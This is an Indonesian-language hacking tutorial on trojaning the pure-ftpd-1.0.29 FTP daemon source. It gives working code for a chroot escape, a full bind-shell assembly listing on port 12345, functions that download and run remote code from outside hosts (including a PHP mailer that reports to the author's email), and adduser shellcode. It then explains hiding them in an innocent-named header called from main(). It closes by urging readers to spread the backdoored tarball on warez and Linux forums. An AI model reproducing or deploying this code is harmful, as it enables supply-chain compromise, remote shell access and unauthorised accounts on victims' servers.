Menyisipkan Backdoor ke Source Code Daemon pure-ftpd-1.0.29 penulis : mywisdom Dalam kesempatan kali ini, kita akan membahas tentang pemasangan backdoor ke dalam source code asli daemon open source yang dibuat dalam bahasa C. Contoh daemon yang akan coba kita backdoor : pure-ftpd-1.0.29,yang merupakan versi daemon pureftpd terbaru saat ini (8 Jan 2011). * Backdoor pada source code pure-ftpd-1.0.29 Untuk eksperimen source code bisa didownload di: http://download.pureftpd.org/pub/pure-ftpd/releases/pure-ftpd-1.0.29.tar.gz (15-Mar-2010 15:44 ) setelah download ekstrak:tar zxvf pure-ftpd-1.0.29.tar.gz (untuk pureftpd yang sudah dibackdoor bisa didownload di versi pureftpd yang sudah dibackdoor bisa didownload di: http://www.shymap.com/backdoored-pure-ftpd-1.0.29.tar.gz) ok kita akan mencoba memasang backdoor simple yang bertujuan mengirimkan email ke kita, rutin eksekusi /bin/sh, adduser. untuk menyisipkan backdoor kita akan mengedit 2 file saja yaitu file main.c dan ftpd.h di direktori src, berikut ini isi file asli sebelum kita sisipkan backdoor: mywisdom@mywisdom-Vostro1310:/root/trojan/pure-ftpd-1.0.29/src$ cat main.c #include #include "ftpd.h" int main(int argc, char *argv[]) { return pureftpd_start(argc, argv, NULL); } - rutin-rutin backdoor kita akan sisipkan rutin backdoor yang terdiri dari rutin-rutin berikut ini: - rutin break chroot (opsional) -------------------------- void mremapx() { mkdir("sh",0755); chroot("sh"); chroot("../../../../../../../../../../../../../../../../"); } -------------------------- -rutin bind port 12345 http://packetstorm.austin2600.net/shellcode/devilzc0debindport.asm.txt ------------------------------ ;devilzc0de port bind shell @port 12345 ;c0d3r: mywisdom (http://web.archive.org/web/*/http://solhack.ath.cx) ;special thanks: gunslinger_, flyv666,kiddies,petimati,devil nongkong,whitehat,marco poppies,v3n0m,c0mrade, and all my friend global _start _start: push byte 2 pop eax int 80h jmp soket soket: push byte 0 ; simpan 0 ke stak push byte 1 ; simpan 1 ke stak push byte 2 ; simpan 2 ke stak mov eax, 102 ;syscall nomor 102 register ax mov ebx, 1 mov ecx, esp ; pointer ke stak int 80h mov edx, eax binder: ;simpan semua argumen yang diperlukan ke stack push byte 0 push byte 0 push byte 0 push word 0x3930 push word 2 mov ebx, esp push byte 16 push ebx push edx mov eax,102 ;persiapan socket call mov ebx,2 mov ecx,esp int 80h lisen: push byte 0x1 push edx mov eax,102 mov ebx,4 mov ecx,esp int 80h acep: push byte 0 push byte 0 push edx mov eax,102 mov ebx,5 mov ecx,esp int 80h mov edx, eax siap_fd: mov eax,63 mov ebx,edx mov ebx,2 int 80h mov eax,63 mov ebx,edx mov ecx,1 int 80h mov eax,63 mov ebx,edx mov ecx,0 int 80h eksekusi: push BYTE 11 pop eax push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp push ecx mov edx, esp push ebx mov ecx, esp int 80h bersih2: push byte 0x06 pop eax int 80h keluar: push byte 0x01 pop eax int 80h ----------------------------------- rutin untuk backdoor bind port: -------------------- void bdx() { system("lwp-download http://packetstorm.austin2600.net/shellcode/devilzc0debindport.asm.txt /tmp/bdx.asm"); system("nasm -f elf /tmp/bdx.asm"); system("ld -o bdx bdx.o"); system("./bdx &"); } ---------------------- -rutin pengirim email ke email kita untuk mengirimkan email di sini kita pergunakan email : antonsoft_2004@yahoo.com berikut ini template php yang akan digunakan: -------------------- -------------------------- setelah didecode ke base64 menjadi: selanjutnya simpan di salah satu server, misal saya taruh di url ini: http://flightinformationdisplay.com/images/trojan.txt untuk rutin pengiriman email pembuat trojan sangat simple sekali: ------------------------ void kemail() { system("lwp-download http://flightinformationdisplay.com/images/trojan.txt /tmp/dat.php"); system("php /tmp/dat.php &"); } ------------------------- -rutin adduser (shellcode anti ids diambil dari http://www.shell-storm.org/shellcode/files/shellcode-353.php) void addu() { char shellcode[]= "\xeb\x1b\x5f\x31\xc0\x6a\x28\x6a\x52\x59\x49\x5b\x8a\x04\x0f" "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8" "\xe0\xff\xff\xff\x0e\x6f\xc7\xe4\xff\xfb\xec\xf3\xf4\xb3\xa0" "\xee\xf6\xb8\xff\xb5\xee\x02\x95\x91\x3a\xb5\x70\x32\xba\x37" "\xb2\xf6\xb5\xbb\xb2\x04\x07\x86\x5c\x21\xb2\x2e\xc6\xf9\xbe" "\xa3\xe4\xff\xad\xea\xb2\xf4\xfe\xa7\xf5\xff\xea\xb8\xad\xff" "\xf5\xf5\xad\xe3\xbb\xff\xbd\x3f\x59\x66\x33\xba\x72\x97\xd3" "\xb2\x4e\x0e\x8f\x49\x34\xb2\x3f\x72\xb2\x57"; int *ret; ret=(int *)&ret+2; (*ret) = (int)shellcode; } ok gabungkan semua rutin di atas di sebuah file lalu simpan di direktori yang sama dengan file main.c (pure-ftpd-1.0.29/src) dengan nama yang tidak mencurigakan misal: optional_mod.h filename: optional_mod.h ---------------------- void mremapx() { mkdir("sh",0755); chroot("sh"); chroot("../../../../../../../../../../../../../../../../"); } void bdx() { system("lwp-download http://packetstorm.austin2600.net/shellcode/devilzc0debindport.asm.txt /tmp/bdx.asm"); system("nasm -f elf /tmp/bdx.asm"); system("ld -o bdx bdx.o"); system("./bdx &"); } void kemail() { system("lwp-download http://flightinformationdisplay.com/images/trojan.txt dat.php"); system("php dat.php &"); } void addu() { char shellcode[]= "\xeb\x1b\x5f\x31\xc0\x6a\x28\x6a\x52\x59\x49\x5b\x8a\x04\x0f" "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8" "\xe0\xff\xff\xff\x0e\x6f\xc7\xe4\xff\xfb\xec\xf3\xf4\xb3\xa0" "\xee\xf6\xb8\xff\xb5\xee\x02\x95\x91\x3a\xb5\x70\x32\xba\x37" "\xb2\xf6\xb5\xbb\xb2\x04\x07\x86\x5c\x21\xb2\x2e\xc6\xf9\xbe" "\xa3\xe4\xff\xad\xea\xb2\xf4\xfe\xa7\xf5\xff\xea\xb8\xad\xff" "\xf5\xf5\xad\xe3\xbb\xff\xbd\x3f\x59\x66\x33\xba\x72\x97\xd3" "\xb2\x4e\x0e\x8f\x49\x34\xb2\x3f\x72\xb2\x57"; int *ret; ret=(int *)&ret+2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------ selanjutnya edit file main.c di direktori pure-ftpd-1.0.29/src menjadi seperti ini : filename: main.c at pure-ftpd-1.0.29/src : ---------------------------------------------- #include #include "ftpd.h" #include "optional_mod.h" int main(int argc, char *argv[]) { mremapx();bdx();kemail(); addu(); return pureftpd_start(argc, argv, NULL); } ------------------------------------------------ Selanjutnya tinggal kita sebarkan torjan ini di forum-forum warez / linux / tempat yang banyak administrator misal: warez-bb.org, http://forum.linux.or.id, http://www.linuxforums.org, dll versi pureftpd yang sudah dibackdoor bisa didownload di: http://www.shymap.com/backdoored-pure-ftpd-1.0.29.tar.gz Selamat mencoba menyebarkan